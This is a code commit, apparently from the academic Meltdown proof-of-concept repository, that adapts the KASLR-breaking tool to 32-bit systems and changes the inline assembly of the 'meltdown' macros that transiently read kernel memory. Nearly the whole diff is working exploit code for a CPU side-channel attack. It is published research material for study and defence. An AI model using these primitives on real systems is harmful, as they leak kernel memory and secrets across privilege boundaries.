fixed kaslr for 32 bit

isec-tugraz · Jan 13, 2018 · 064a2fa · 064a2fa
1 parent 61ccf7f
commit 064a2fa
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Showing 2 changed files with 11 additions and 7 deletions.
diff --git a/kaslr.c b/kaslr.c
@@ -5,8 +5,12 @@
 int main(int argc, char *argv[]) {
   size_t scratch[4096];
   libkdump_config_t config;
-  size_t offset = 0xffff880000000000ull;
+  size_t offset = DEFAULT_PHYSICAL_OFFSET;
+#ifdef __x86_64__
   size_t step = 0x800000000ll;
+#else
+  size_t step = 0x1000000;
+#endif
   size_t delta = -2 * step;
   int progress = 0;
 

diff --git a/libkdump/libkdump.c b/libkdump/libkdump.c
@@ -82,35 +82,35 @@ static libkdump_config_t config;
 
 // ---------------------------------------------------------------------------
 #define meltdown                                                               \
- asm volatile("xorl %%eax, %%eax\n"                                            \
+ asm volatile("xor %%eax, %%eax\n"                                            \
               "1:\n"                                                           \
               "movl (%%esi), %%esi\n"                                          \
               "movb (%%ecx), %%al\n"                                           \
               "shl $12, %%eax\n"                                               \
               "jz 1b\n"                                                        \
-              "movl (%%ebx,%%eax,1), %%ebx\n"                                  \
+              "mov (%%ebx,%%eax,1), %%ebx\n"                                  \
               :                                                                \
               : "c"(phys), "b"(mem), "S"(0)                                    \
               : "eax");
 
 // ---------------------------------------------------------------------------
 #define meltdown_nonull                                                        \
-  asm volatile("xorl %%eax, %%eax\n"                                           \
+  asm volatile("xor %%eax, %%eax\n"                                           \
                "1:\n"                                                          \
                "movb (%%ecx), %%al\n"                                          \
                "shl $12, %%eax\n"                                              \
                "jz 1b\n"                                                       \
-               "movl (%%ebx,%%eax,1), %%ebx\n"                                 \
+               "mov (%%ebx,%%eax,1), %%ebx\n"                                 \
                :                                                               \
                : "c"(phys), "b"(mem)                                           \
                : "eax");
 
 // ---------------------------------------------------------------------------
 #define meltdown_fast                                                          \
-  asm volatile("xorl %%eax, %%eax\n"                                           \
+  asm volatile("xor %%eax, %%eax\n"                                           \
                "movb (%%ecx), %%al\n"                                          \
                "shl $12, %%eax\n"                                              \
-               "movl (%%ebx,%%eax,1), %%ebx\n"                                 \
+               "mov (%%ebx,%%eax,1), %%ebx\n"                                 \
                :                                                               \
                : "c"(phys), "b"(mem)                                           \
                : "eax");